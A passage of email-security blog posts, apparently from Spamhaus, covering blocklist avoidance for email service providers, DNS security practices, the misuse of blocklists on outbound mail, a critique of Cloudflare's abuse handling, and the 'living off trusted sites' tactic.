what’ll happen if they don’t send it right using their own data, or you can use other customer examples (anonymized), to show bad performance, followed by good performance after they made a change. For example, if a sender has a problem with engagement and they’re going to the spam folder, don’t just tell them to target users who’ve opened or clicked within the past X days. Show them why that’s important! Use their data to explain exactly what that problem means for their email program and, referring back to part one in this blog mini-series, how it impacts them reaching their business goals. Be the Mother Goose they never had by providing the educational resources and gentle nudges they need to be successful. You can start building your own set of go-to resources for every scenario you encounter, and don’t forget to stress the negative outcome of not following the best practice you’re recommending. No one wants to be blocklisted, particularly not by Spamhaus! This Is The End...or Is It? Perhaps now you’re starting to see why a 15-minute session didn’t give us enough time to cover everything we wanted to share. Check out the rest of our advice in 'Part 3 - Take Matters Into Your Own Hands.'

Avoiding Blocklistings: Part 1 - Set Yourself AND Your Senders Up for Success

Lauren Meyer — Thu, 07 Nov 2024 10:19:00 GMT

Howdy, email folks! Recently Melinda Plemel and I dove into the essential steps email service providers (ESPs) should take to help their senders avoid being blocklisted. We covered a lot of ground, but there was one big problem: We didn’t have nearly enough time to get through it all! To make sure we can share all our best strategies for avoiding blocklistings, we decided to spin up a three-part blog series to dive deeper into the most impactful steps to take. Without further ado, let’s get into it! Foundational Strategies for Avoiding Blocklistings There’s no shortcut to the inbox. You know that. I know that. We ESP folk know that deliverability is a shared responsibility, and that senders’ actions (and inactions) significantly impact inbox placement. Most of our ESP customers, on the other hand, tend to find that out the hard way when their own customers start complaining about emails going missing. In a lot of cases, this is something they never even considered as a possibility. And then there are those customers who are unwilling to change. Either they don’t see the need for it, can’t justify prioritizing it over other tasks, or insist that the practice that is continually causing deliverability issues is the essential lynch pin in their entire business operation, so they won’t budge. We end up frustrated. They end up frustrated. Nobody wins. If we want to stop being frustrated — ok, be frustrated less — we need to meet our customers somewhere in the middle and help them understand what actually keeps senders off blocklists. Let’s start at the very beginning. How do you set yourself and your senders up for email success? Start on the Right Foot The business-minded folks at your company won’t be happy to read this, but you don’t want to accept every potential customer who comes your way. Sender reputation matters, and you won’t be able to maintain yours as an ESP if you let just any old sender (ahem, spammer) in. Create vetting questions and measures to help evaluate each potential customer’s quality. If a new signup raises enough alarms, you can decline it entirely. However, your sales and marketing teams are likely going to raise a few of their own alarms if you kick too many of those hard-earned new signups to the curb. So, exploring less aggressive options when possible can help you maintain relations with key stakeholders internally while still protecting your network from abuse. For example, you can ask additional follow-up questions via your support team to further vet them before allowing them access to your platform. Alternatively, you can provision those questionable signups without learning more, but under restricted conditions that prevent them from sending large volumes of email until they’ve validated and authenticated their domain and/or sent enough mail for you to feel more comfortable with their activity. Just ensure you’ve implemented multiple safeguards to properly monitor their behavior and take action quickly at the first signs of trouble to prevent spam and/or fraudulent emails from impacting your legitimate senders. Also create policies that set your customers up for success. For example, making essentials like authentication a requirement right at the beginning so there isn’t any damage to clean up if they run afoul of major mailbox provider requirements. Or prohibiting non-permissioned email lists because you know hard bounces, spam trap hits, and spam complaints cause deliverability issues…for that customer, and for you as an ESP. Be sure to involve other teams internally in the creation and socialization of your provisioning policies and processes for self-serve (aka “freemium”) customers and for higher-volume senders who’ve signed a custom contract. This cross-functional mentality will ensure your ESP’s policies are aligned with inbox success, but based in (business) reality. After all, those policies aren’t gonna protect anyone’s sender reputation if they’re not embraced by the colleagues you rely on to help enforce them: those folks in customer-facing teams, sales, marketing, and leadership. Understand Your Senders’ Businesses This is something I didn’t do enough of when I was working in the trenches. I’d make recommendations that were ideal for solving their deliverability issue but completely unrealistic from a tactical perspective. I dug pretty deep into how to speak to decision-makers in my "Send It Right" blog on Why Deliverability (Still) Matters, but here the most important things to consider: Is what you’re suggesting (reasonably) possible? Take the time to understand what it’s like to be your customer. Particularly when you have high-priority senders, you should make an effort to understand their business model, their goals, and what strategies they have for reaching them. Also consider: Does your platform make it easy for them to do what you’re recommending, or are you asking them to do an email marketing back flip? Marketers are flexible, but not that flexible. For example, if you suggest something like segmenting their list to resolve a deliverability issue stemming from low engagement: Is it clear to them that change is required on their part, and why? Is segmentation something your platform enables, or are they gonna have to do it manually? If it’s a manual process, do they know how to do it? And do they have time to get that task done when their plate is already overflowing with spicy marketing meatballs? Which brings me back to my first point: are they clear on the fact that the answer to, “Do we really need to do this?” is “YES. 1,000 times, yes.”? Their capabilities should impact the kind of advice, information, and assistance you’re able to give on their email performance. Does what you’re suggesting *really* deserve priority within their org? Let’s pretend you have a major recommendation that’ll take multiple stakeholders, weeks of work, a re-prioritization of the product roadmap (or marketing team’s workload), and lots of headaches…not to mention stress. You should be relatively certain their organization has the resources available to even implement the advice. This understanding will also help you communicate your advice in an effective way. For instance, if what you’re suggesting is complex and time-consuming, their first question is gonna be, “do we really need to do this?” You need to present your recommendation in a way that illustrates why the juice is worth the (pretty arduous) squeeze. What does doing (or not doing) what you suggest mean for their organization? Speak in terms of business impact — dollar signs — not sender reputation. They’ll be assessing the impact on their business…both how the work will impact their day-to-day and what long-term results it could generate (positive and negative). The less you know about their business model or company culture, the less compelling your case will be. No compelling case means a low likelihood they’ll make the change, and if they don’t make the change, well...we all know how that turns out. Blocklist City, here we come. If you prioritize understanding their business on a holistic level, you can present multiple options for how to solve their issue(s) knowing full well they’ll likely need to do some horse trading to prioritize this work over something else. All those seemingly tiny choices have a ripple effect through the business, so, help your contact make your case to their decision makers to improve the chances the work will get done. I’m gonna repeat the most important piece of advice for this section (whole blog, really): Speak in terms of business impact, not sender reputation. Dollar, dollar bills, ya’ll. This is the way to inspire action within the higher ups of your customers’ businesses. We’re the email geeks here, they likely aren’t. So, align the negative impact of a blocklisting to their business and see how it goes. For example, we have a feature at SocketLabs that highlights how many valid recipients you were expecting to reach, how many you actually reached, and how many were missed. With that information, a business who knows that email recipients are worth $1 each can very quickly realize how much revenue they’re missing out on — or how much more they can be making by following your advice. Adios for Now! Now do you understand why a 15-minute session didn’t give us enough time to cover everything we wanted to share? And this is only one part of the series! Check out the rest of our advice in 'Part 2 - Monitor and Educate Your Customers' and 'Part 3 - Take Matters into Your Own Hands'.

Domain Reputation Update Apr 2024 - Sept 2024

The Spamhaus Team — Thu, 10 Oct 2024 12:00:00 GMT

This reporting period our domain experts observed 36 million new domains and listed 1.8 million domains. In a surprising turn of events - “apple” dropped out of the Top 20 phishing terms! Meanwhile, TLD .top’s (#2) poor abuse handling performance prompts a letter from ICANN. Read the full report here.

The secret to secure DNS? It’s all in the policies

Prudence Malinki — Fri, 04 Oct 2024 10:18:48 GMT

After nearly a decade working at one of the top corporate registrars in the world, I've seen firsthand how a well-crafted domain name policy can be a game-changer. It doesn’t just make managing your portfolio smoother and more cost-effective; it can also strengthen security and minimize the scope of compromised accounts, domains and DNS. Why Domain Name Policies Matter Before discussing the nuance of a good DNS policy and strategy, first let’s talk about the reasons for having these policies and why they are essential to provide context related to corporate domain name portfolios. Large multinational corporations have complex portfolios —covering multiple TLDs across the globe, having domain names with large volumes of traffic passing through them, and trading in equally high volumes of revenue. Due to these distinct factors, corporate portfolios face additional risks. If a critical domain name falls into the wrong hands, it can lead to massive revenue loss and irreparable damage to a company’s reputation and consumer trust. This is why having a correctly-crafted registration policy is so vital - it can protect and secure this often overlooked valuable business asset. Creating a Registration Policy for Everyone A solid registration policy can take many shapes depending on the company's size and business needs. One thing’s for sure: it is fundamental that all relevant stakeholders are involved in creating the policy and have visibility into it. Everyone - legal, technical, finance, and senior leadership - should not only have a say but also be in the loop. An inclusive policy ensures that no “rogue” registrations, deletions, or security practices occur in the business. Policies aren’t “set it and forget it” documents; they need to evolve. Regular reviews by the same representatives and stakeholders of the business, (with guidance of a consultative or corporate registrar for the granular elements such as portal access, etc.) are a must. This policy will also facilitate visibility to any proposed plans for expanding or contracting the domain name portfolio, ensuring that the business maintains a “joined up” approach. The Power of Policy Registration policies play a huge role in DNS hygiene, from restrictions on who is granted access to the zone files, to administering the content of the domain name, to the deletion process flow regarding how a domain name is prepared for deletion and removed from the active zone. When an effective domain policy is created, it minimizes compromised accounts, compromised domains, and unauthorized third-party actions. You can further enhance this layer of security on a domain name portfolio by aligning yourself with a registrar that has attained certified levels of security (ISO207001 is an indication of trustworthy infrastructure), but who can also provide a consultative role in shaping and maintaining that policy Strengthen security with a Deletion Policy Your deletion policy should explicitly account for the disengagement of any advertising or external marketing teams, including relinquishing administrative rights, access, or controls of any domain names under your portfolio. This also means cleansing and removing any or all records associated with domain names identified for deletion, including any additional domain names that may be forwarding or connected to the domain name. These codified and standardized actions aren’t just about housekeeping - they significantly reduce the scope for subdomailing, wherein third parties gain access to host records of domain names that have not been correctly scrubbed of zone file data. Build your policy before it is needed At first glance, creating such a robust policy may, at first, seem like a daunting prospect fraught with difficulties (such as corralling the relevant stakeholders and getting their consent to create such a policy). But trust me, it’s far better being proactive in crafting such rules and safeguards than reacting to a breach or security incident where your portfolio or account has been compromised for nefarious use and reasons. As with most challenges, success comes from teaming up with the right people who can help you navigate such stormy weather. Luckily, there are plenty of reputable partners to help you create the best policy and working document for your business. With their help, hopefully you will avoid being in a position where you need to initiate your breach disclosure protocol with your infosec team. Prevention beats clean up every time! Want to clean up your DNS? Here are ten DNS best practices you can implement to protect your domains and your entire business.

10 DNS best practices to keep your Domain Reputation in check

The Spamhaus Team — Mon, 30 Sep 2024 15:49:26 GMT

Meet Nexora Dynamics. A medium-sized (fictional) tech company with ambitious expansion plans to enhance its online footprint. Unfortunately, while migrating to a new CRM platform, they overlooked a CNAME record pointing to an expired third-party service. Cybercriminals have since exploited this domain, setting up a phishing site under the company’s trusted domain. The result? Customers fell prey to scams, the company's credibility took a nosedive, and revenue was lost. This incident, known as subdomain hijacking, could have been avoided with proper DNS security measures. In this blog, we’ll explore how businesses can protect their domain reputation and avoid Nexora Dynamics fate. Make your Domain Reputation a priority Domain reputation, as the name implies, reflects how trustworthy your domain is. It’s a key factor in determining if, when, and how users and systems should interact with your domain. Consider the incident in our example: it highlights how an exploit can impact not just the abused parts but the entire domain’s reputation. When your domain is compromised, it’s also likely to end up on blocklists maintained by Domain Reputation providers, such as Spamhaus’ Domain Blocklist. When our fictional company neglected its DNS configuration, particularly the dangling DNS entry, it left itself wide open to vulnerabilities such as SubDoMailing, DNS spoofing, or, in this case, domain hijacking. These types of threats put a domain’s security at risk and can have long-lasting impacts on its reputation. 10 DNS security essentials To protect against threats like Nexora Dynamics faced, businesses need to adopt a comprehensive DNS security strategy. This involves following best practices, being alert to potential routes of compromise, and implementing proper DNS security procedures. Let’s look at ten strategies the company should have implemented: 1 - Choose reputable and secure providers to host and manage your domain. Take into consideration the neighborhood you are setting up in. Domains are business assets that need to be protected. Spamhaus’ reputation statistics provide insight into reputable registrars and networks so you can make informed decisions. 2 - Configure DNS servers properly and document procedures, keeping them up-to-date to reflect changes. It’s also essential to actively review DNS logs to identify suspicious activities that may indicate an attack. Authoritative nameservers can be misused in DDoS attacks as reflectors if your configuration isn’t tuned correctly. Keep software up-to-date and settings updated according to best practices. Alternatively, host your authoritative DNS at a hosting provider specializing in this. Make sure that your chosen hosting provider supports all the features you need, such as different record types and API access to modify DNS records. 3 - Configure SPF, DKIM, and DMARC email authentication to verify the legitimacy of emails and reduce the risk of phishing attacks and other mail-borne threats. For a more indepth look at this read, 'Authentication and encryption for email.' 4 - Adopt and properly configure DNSSEC (Domain Name System Security Extensions). By adding cryptographic signatures, DNSSEC ensures that responses are authentic, preventing attackers from modifying DNS data. 5 - Maintain an inventory of domain registrations and ensure each domain’s purpose is documented. Set up notifications for domain renewals and SSL certificate expiry dates to avoid security risks or domains falling into the wrong hands. 6 - Regularly audit your DNS records to ensure they're accurate and remove outdated entries that could be points of vulnerability. Pay special attention to CNAME records and NS records pointing to other domains. Remove any that are no longer needed, or where the remote domain no longer exists. It's also important to remove unnecessary TXT records, especially from the bare domain. 7 - Build robust DNS policies specifically in relation to deletion and registration. From restrictions on access to zone files, to deleting a domain name and removing it from the active zone, these policies play a huge role in DNS hygiene. If you'd like to learn more, Prudence Malinki, Head of Industry Relations at Markmonitor, shares her advice on the role policy can play in ensuring DNS security here. 8 - Activate registry lock to prevent unauthorized domain modifications and safeguard against domain hijacking. Not all domain owners do this since it comes at an additional cost, however protecting valuable domain assets is a worthwhile investment. 9 - Train your teams including network admins, IT security professionals, and system administrators on DNS concepts, security techniques, monitoring, compliance. Equip them with the skills they need to implement security changes. DNS changes should only be made by a few individuals in the organization, therefore access should be limited accordingly. 10 - Invest in automated solutions to manage common DNS tasks, including updating SOA serial numbers and notifying secondary DNS servers of zone data changes. When you enable DNSSEC, a number of repetitive tasks are essential, especially around key rotation. Choosing a product that can automate these tasks minimizes the chance of mistakes. And specifically for your Domain’s Reputation? Implementing the ten strategies highlighted and taking steps to secure your DNS is in itself a positive indicator of reputation. It also signals that your business takes security seriously. Nevertheless, in the example, automated monitoring tools might have highlighted the change in domain reputation earlier, prompting Nexora Dynamics to investigate further. If there is one lesson to learn from Nexora Dynamics’ experience, it’s this: DNS security is not optional. It is essential to maintaining a good reputation and ensuring the trust of your customers. Making DNS security a priority not only protects your domain but your entire business.

Spamhaus Deliverability Live (Ep9) - Five essential steps for every ESP to avoid blocklists

The Spamhaus Team — Wed, 18 Sep 2024 13:28:02 GMT

It's time for the Spamhaus Deliverability Live ep9: "Blockbusters: Five essential steps for every ESP to avoid blocklists." Lauren and Mel share all in this 15-minute deliverability fix, packed with expert insights to keep your customers on track and stay out of blocklists!

Markmonitor webinar | League Table Talk: Ranking ccTLDs on DNS Abuse

The Spamhaus Team — Mon, 02 Sep 2024 13:49:52 GMT

In this Markmonitor webinar, Spamhaus' Carel Bitter, joins Georgia Osborn, Senior Research Analyst at the DNS Research Federation, and Chris Niemi, Manager of Strategic Initiatives at Markmonitor, to discuss ccTLDs in the larger context of DNS Abuse. Watch the webinar or read the full transcript here

A misuse of Spamhaus blocklists: PART 2 - How to limit outbound spam

The Spamhaus Team — Wed, 28 Aug 2024 11:00:00 GMT

As mentioned above, here is the first blog to help understand the misuse of Spamhaus blocklists to block outbound mail. There are two types of email service providers: dedicated email service providers, and ISPs that provide a mail service to users they connect to the internet. Let’s start with email service providers: I am not an ISP, I only supply a mail service You have customers connecting from all over the world. They use your mail service using SMTP authentication, and your goal is to prevent them from abusing your service. Of course “them” may include malware hosted on “their” devices, or, even more commonly, by a criminal that stole their login credentials to access your service. The key here is that - in this case - any action occurring on your system has an associated account, so that you can monitor activity on a per-account basis. The problem of spam through hacked accounts has been plaguing the internet for years. Over 12 years ago we shared some ways to control this kind of abuse; some suggestions that we still recommend today: Implement default per-account limits on numbers of outgoing emails. Log the authenticated user account for each email sent. Include the authenticated user account name (or a hash of it) in the email headers. Monitor the email flow from each account; take action when this changes suddenly Check for and reject weak passwords Limit the rate of authentication attempts to prevent password cracking. You may also consider disallowing sending from domains whose mail you do not host and sign all mails using DKIM. So, are Spamhaus datasets useless for outbound mail? No, AuthBL - available via Spamhaus Technology’s Data Query Service (DQS) can be very useful in this situation. It lists IP addresses known to host bots using brute force or stolen SMTP AUTH credentials to send spam, phishing and malware emails. Still, AuthBL is a XBL subset and outright blocking listed IPs attempting to submit mail may generate false positives. You could use it for blocking submissions if you closely monitor the issue and contact the customer where there is a hit. Otherwise, an AuthBL hit may add points to a scoring system (such as SpamAssassin) applied at submission to possibly block the message if a number of criteria are simultaneously met, or just to bring suspect activity to your attention for analysis. Some mail providers maintain two different platforms for outbound mail, a “high reputation” one and a “low reputation” one. Messages that build up a negative score due to an injecting IP in AuthBL or spammy content may be routed through the low reputation platform. This usually allows you to operate with some spam getting through without affecting the majority of the legitimate traffic. What if I am an ISP, supplying a mail service to users I connect to the internet? If you are an ISP connecting users, all the considerations above will still apply for your mail service, but there are a few more options to consider. Your mail service will receive connections coming from internal and external IPs, with the former probably being the majority, and you may be a little more aggressive on the policies adopted for the latter (“travelling users” but also abusers). If you use a scoring system, you may slightly penalize submissions coming from external IPs. At the same time, you should monitor regular listings (CSS - Combined Spam Sources, XBL - Exploits Blocklist) on your internal IPs and investigate what happens. A good tool to discover more signal relating to listed IPs is Spamhaus Technology’s Intelligence API (SIA). Furthermore, if you are an ISP connecting many end user devices, we recommend that as a first step, you limit port 25 outbound access to mail servers only, and deny it to all others. This basically achieves the same result of PBL, but in a cleaner way and without requiring the remote site to use our data. Users sending legitimate mail should not be affected because they will submit mail using authentication (using other ports such as 587 or 465) to their SMTP service supplier. Blocking port 25 is a strategy that has been used in the ISP industry for years and has proven to be highly successful in decreasing the emission of spam. You can find more details on it in a document prepared by the M3AAWG working group: (https://www.m3aawg.org/Port25_IPNetworks) Will this stop all abuse from your network? No, it will only stop direct mails from your end user pool, which is usually a sizable and important chunk. If you have CSS listings in the range they will disappear because they are related to direct SMTP traffic. Spam sent through third party servers using hacked credentials and other abuse related with malware will continue as it does not use port 25. Finally, we urge network owners and ISPs to submit PBL ranges in order to maintain control of their network's IP space that does not host mail servers by policy. Sign up for a PBL ISP account here and ensure full control and correctness of PBL data - you can manage your IP space in bulk, and as you prefer.

A misuse of Spamhaus blocklists: PART 1 - blocking outbound email

The Spamhaus Team — Wed, 21 Aug 2024 12:00:00 GMT

While it is estimated that there are several billions of devices on the internet, email is not sent or received directly by end user devices. Spamhaus data, and in particular the IP blocklists Policy Blocklist (PBL) and Exploits Blocklist (XBL), are designed to be deployed at the MX server, in defense of the receiving/inbound side, not at the outbound SMTP server, where the sending side accepts email submissions from their users. Why is that so? PBL can not be applied at mail submission/outbound PBL sits apart from the rest of our datasets as it is not designed to indicate “badness”. There is in fact no value judgement involved with an IP listed in PBL. It is our goal to list in PBL all the IP ranges that are not supposed to host mail servers. This includes residential connections (interestingly this is where the vast majority of the billions of infected devices sit).. Quite commonly, users in these ranges have a dynamic IP (which commonly changes frequently). In some cases they are CGNAT) IPs where many users may simultaneously be sharing the same IP. The important thing here is that mail servers are not listed in PBL. This means the IPs of end user devices will typically be in PBL (together with the majority of IPs on the internet), while those of the servers will not. The receiver that applies PBL at the MX server will continue receiving email from other mail servers, but will also block generic end user devices attempting to send emails to their users by means of “direct to MX” SMTP connections. End user devices are not expected to send emails to destinations directly, without using the ISP’s mail servers to send it. ISPs directly help Spamhaus maintain PBL by creating and maintaining PBL accounts that specify their end user ranges that by policy (that’s the “P” in PBL) are not allowed or expected to run mail services. Blocking inbound emails directly coming from end user devices has enormous advantages: the criminal gangs who - thanks to malware - are in control of those devices, can no longer send emails bypassing the mail submission stage. They MUST follow the normal route, which gives the administrator of the sending mail servers a chance to intercept and suppress abusive traffic. PBL can not be applied at the egress point! Doing so would block your own users from sending fully legitimate emails! Again, an IP being present in PBL does not mean anything is wrong: it exists to prevent IP from sending emails that bypass the use of a mail server - but this can ONLY be checked on the inbound side. XBL can not be applied at mail submission/outbound In contrast with PBL, XBL does indicate badness. The IPs it lists have been observed to be infected, possibly carrying malware and performing nefarious activities. An IP listed in XBL is very likely to be in PBL as well, and this indeed happens in about 85% of the cases. The remaining 15% are mostly located in ranges that should have been in PBL but are not (hey, the internet is large and it changes quickly, we do our best but perfection is impossible!). In a sense, you can see XBL as a “PBL boost” that is automatically driven by our abuse sensors detecting activity. Therefore, an IP listed by XBL has actually been observed to be an abuse source, but blocking it at the outbound mail server has a very high risk of blocking legitimate emails. Furthermore, an IP listed by XBL does not necessarily mean that the device connecting from that IP in a particular moment is infected. In dynamic ranges, the same IP is often reassigned to a different user, and in CGNAT ranges the same IP may be simultaneously used by different users, of which only one with an infected device. So again: you cannot apply XBL at the Mail Submission Agent because you risk blocking your own users from sending fully legitimate emails! If I want to limit my outbound spam, what should I do? This is a very good question. But first of all, thank you! Not everybody worries about this. People like you make the world a better place, and we support your endeavour. In order to understand how to limit outbound spam, without blocking users legitimate emails, we recommend reading part two in this series: ‘A misuse of Spamhaus Blocklists'.

If you query the legacy DNSBLs via GoDaddy move to Spamhaus Technology’s free Data Query Service

The Spamhaus Team — Thu, 15 Aug 2024 10:00:13 GMT

The headlines for those in a hurry The fair use policy states that users cannot query via DNS resolvers where there is no attributable reverse DNS; this includes GoDaddy (we'll explain why later in this article). To provide a clear signal to users that these blocklists are not protecting their email, Spamhaus will return an error code; 127.255.255.254. If you haven't set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology’s free Data Query Service (DQS), which you can sign up for here. Once you've verified your email address, you will get access to a "DQS key" to include in your configuration. These config changes take only minutes; see the technical docs for more detail. Why can’t GoDaddy users query the public blocklists? The blocklists that are made freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the fair use policy. GoDaddy’s default reverse DNS masks organizations' unique identities to the Public Mirrors, so the team can’t attribute usage to individual entities. There is no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free DQS. How is the free DQS different from the free Public Mirrors? Usage transparency** - users register to access the free DQS and are provided with a key that records query volumes. Increased performance** - blocklists are updated in real time. Additional protection** - access to more blocklists, including: Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access the free DQS Sign up for an account. Verify your email address Log in to your account and access your DQS key. Update your email configuration. We have config guides for mainstream MTAs. How will GoDaddy users be prevented from querying the free DNSBLs? To ensure the fair use policy is adhered to, queries from IP addresses outside the policy will be blocked, and an error code will be returned. In the case of querying via an open/public resolver, i.e., GoDaddy, the error code is 127.255.255.254. If your MTA can't correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free Public Mirrors. When will the error code for GoDaddy DNSBL users be introduced? The error code will be slowly implemented across GoDaddy's IP space, commencing from Thursday, September 26th, 2024. Please don’t delay - take action now and move to the free DQS. What if I don’t want to use the free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus's IP and domain reputation. If you no longer wish for your mail stream to be protected for free by the blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for DNSBL users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now Any questions? Not a problem – reach out to us via Twitter (@spamhaus), LinkedIn (@TheSpamhausProject) or our contact form.

Too big to care? - Our disappointment with Cloudflare’s anti-abuse posture

The Spamhaus Team — Tue, 30 Jul 2024 10:00:00 GMT

What Spamhaus is seeing For years, Spamhaus has observed abusive activity facilitated by Cloudflare’s various services. Cybercriminals have been exploiting these legitimate services to mask activities and enhance their malicious operations, a tactic referred to as living off trusted services (LOTS) [2]. With 1201 unresolved Spamhaus Blocklist (SBL) listings [3], it is clear that the state of affairs at Cloudflare’s Connectivity Cloud looks less than optimal from an abuse-handling perspective. 10.05% of all domains listed on Spamhaus’s Domain Blocklist (DBL), which indicates signs of spam or malicious activity, are on Cloudflare nameservers [3]. Spamhaus routinely observes miscreants moving their domains, which are already listed in the DBL, to Cloudflare to disguise the backend of their operation, be it spamvertized domains, phishing, or worse. Further investigations Research into websites that are openly advertising services to a cybercriminal audience, such as bulletproof hosting, reveals that many of these domains are supported by Cloudflare’s services. As an example, task your trusted search engine with searching for bulletproof hosting [4], and you will find that many of the domains returned are, in fact, hosted on Cloudflare's nameservers: bpserv.host. 3598 IN NS lloyd.ns.cloudflare.com bpserv.host. 3598 IN NS brit.ns.cloudflare.com impreza.host. 21600 IN NS chan.ns.cloudflare.com impreza.host. 21600 IN NS lex.ns.cloudflare.com Repeat this with other cybercriminal offerings of your choice - such as carding forums, DDoS-for-hire services, and worse - and the results will be similar. For a certain domain registrar, every single domain Spamhaus has observed appearing on Cloudflare’s nameservers thus far is associated with phishing—a campaign continuing for months on end. Cloudflare’s anti-abuse conundrum Cloudflare’s approach to abuse is described on a web page, and further explained in this article published in August 2022. The troublesome point of their policy is: “The vast majority of abuse reports that we receive are about websites using our pass-through security, and content distribution network (CDN) services. Cloudflare does not host content through those services, and we cannot remove content from the internet that we do not host. Our abuse reporting system is therefore designed to ensure that your report gets to the parties best positioned to address your complaint: the website operator and the hosting provider for the website on which the content is posted.” From a technical perspective, this approach might seem logical - however, Spamhaus is not asking Cloudflare to remove content from the internet, and other entities with an understanding of the principles of a CDN are unlikely to do so either. Rather, the request is for Cloudflare to stop providing their pass through services to abusive actors. Unfortunately, from an abuse-handling perspective, their approach is problematic. Cloudflare effectively masks the true location of the backend where services are being hosted, while passing on any complaints about abuse to the abused or abusive services. As a result, notifications to customers may end up going directly to the abuser, who can proceed to ignore them and, at the same time, refine their strategies to avoid further detection. Alternatively, the notifications may go to an intermediate actor like a hosting provider who, wholly screened from the public eye by the Cloudflare service, needs a solid motivation to terminate a paying customer that is not in the slightest deteriorating their reputation. The intermediate actor is then likely to ignore the notification or pass it over to the abusing customer and forget about it. The risk of this policy is that it could be perceived as facilitating a “bulletproof [hosting] service,” where the only visible internet resources associated with the abusers are (i) Cloudflare’s and (ii) unstoppable by policy. Why does Cloudflare take this approach? The advantage of this policy is that it makes life easy for Cloudflare, as they do not have to do any deep investigation or analysis of incidents, and notification flow can be largely automated. In this way, the cost of dealing with abuse is very low, benefiting the bottom line. Unfortunately, the effects of such an approach are felt negatively by the rest of the internet. How Cloudflare can resolve this issue After receiving evidence of abuse, we’d recommend Cloudflare suspend services to the abusers: namely, the authoritative DNS service to their domain(s), the reverse proxy services, and the CDN services. By doing this, contents would remain in the same place where they were before (unknown to everyone except Cloudflare), but would no longer be accessible through the Cloudflare network. A more detailed explanation of how ISPs can battle fraudulent sign-ups can be found here in a blog post published by Spamhaus in 2012. A call for change Being recognized as a leader in today’s Content Delivery Network (CDN) market, Cloudflare has the tools and resources to provide robust services to legitimate customers, while keeping all the cybercriminals off its premises. Compared to small ISPs, they do not face constraints that make having a decent abuse desk prohibitively costly. The vast majority of abusive activity can be prevented upfront – in many cases, even without any human interaction. In light of this discrepancy, Cloudflare’s and similar companies’ current anti-abuse posture is weakening trust and safety. Spamhaus has always stressed that abuse does not “just happen” – it is enabled. So, please, Cloudflare, and all those who run services from which miscreants “live off,” improve your abuse prevention and abuse handling – swiftly and significantly. We’re here to work together to strengthen trust and safety for the internet, and welcome working with all organizations in that endeavour. [1] Spamhaus uses the services of Cloudflare. In fact Cloudflare helped Spamhaus during one of the worst DDoS attacks in the history of the internet, back in 2013. We were, and continue to be grateful, for the services Cloudflare provides us. Our concern is with how Cloudflare handles and prevents abuse. From a short-term business operating perspective, declining to tackle abuse makes financial sense. However, from a longer term brand and business continuity perspective, it presents significant challenges. [2] Known more properly as, “living off trusted sites” - see our blog post. [3] At the time of publishing. [4] Spamhaus defines bulletproof hosting – a SBL listing criteria – as “DNS, web, mail or other services provided with either explicit or tacit actions not to disconnect customers who spam or engage in cybercrime.”

Living-Off-Trusted-Sites (LOTS) or should we say services?

The Spamhaus Team — Wed, 24 Jul 2024 10:14:48 GMT

There are 5.44 billion internet users worldwide, according to Statista. That's 67.1% of the global population who utilize and place trust in online services. From sending emails via Gmail, to securely transferring funds via PayPal or sharing confidential documents via Dropbox, many rely on and use these sites daily - ultimately because of our trust in them. Yet, these websites don’t gain trust overnight. Credibility is built over time, fostering user confidence by providing consistent, high-quality content and services. Trust is one of, if not the most valuable, business assets. This is especially true in the eyes of cybercriminals who seek to exploit it through a tactic known as “Living-Off-Trusted-Sites (LOTS).” What is LOTS? The concept of LOTS, akin to “Living-Off-The-Land,” is the use of legitimate websites for nefarious activities while avoiding detection. Malicious actors leverage the well-earned credibility and reputation of legitimate, trusted sites and exploit them to carry out their illicit activities: hosting phishing pages, operating botnet command and control servers, running dropper sites for malware, and exfiltration. Should it be called Living-Off-Trusted-Services? The challenge with this concept is that it’s limited to “sites”. But many legitimate services, such as cloud storage and content delivery networks, are exploited by malicious actors in precisely the same way as legitimate sites. The reality is that miscreants have long been abusing all sorts of legitimate services for all kinds of nefarious activity, indicating that a broader definition of LOTS is more fitting. Over the years, Spamhaus has observed a constant stream of LOTS adoption in conjunction with phishing campaigns, malware distribution, and botnet controller hosting. It is not without reason that Spamhaus’s Domain Blocklist (DBL), launched in 2010, features a dedicated “abused legit” listing type. This tackles cases where miscreants abuse a generally legitimate domain, which a regular DBL listing would be both off policy and prone to false positives. So, while the abuse of legitimate sites isn’t new, it has evolved from a niche phenomenon to common cybercriminal behavior. In their advertisements on underground forums and alternative channels, miscreants sometimes refer to the effect of LOTS adoption as “FUD” – fully undetectable. But it takes two to tango… Spamhaus has repeatedly stressed that abuse does not “just happen.” The hard truth is that many companies are, in fact, enabling this abuse as they do not have acceptable anti-abuse measures. They are not implementing robust customer vetting, or abuse prevention schemes, or are handling abuse incidents tardily, if at all. Instead, these entities are enabling cybercriminals to “live off” trusted resources, jeopardizing online trust and safety. Having relaxed anti-abuse measures may seem like a rational business decision at face value. Why turn away customers who are willing to pay for your services? In the short term, this makes absolute sense. However, in the long run, brand reputation will become degraded, and corrections will be made, either through market forces or legislation. How Community can help strengthen online trust and safety As a community, we have a role to play too. We cannot rely on market forces and legislation alone. Together, we can affect change by highlighting where abuse is being enabled, and apply pressure to legitimate providers to introduce robust customer vetting and abuse prevention schemes. Evidently, the long-established “trust but verify” model is outdated. In this zero trust online world, a “trust no one, always verify" model must be adopted. Even well-known, trusted services must be approached with caution. In tandem, we must work to increase the costs and disrupt the activities of those who engage in malicious activity, while impacting those facilitating such behavior too. Follow Spamhaus’ social media channels to get the latest updates and support the action we are taking.

Dangling DNS and the dangers of subdomain hijacking

The Spamhaus Team — Wed, 17 Jul 2024 13:06:49 GMT

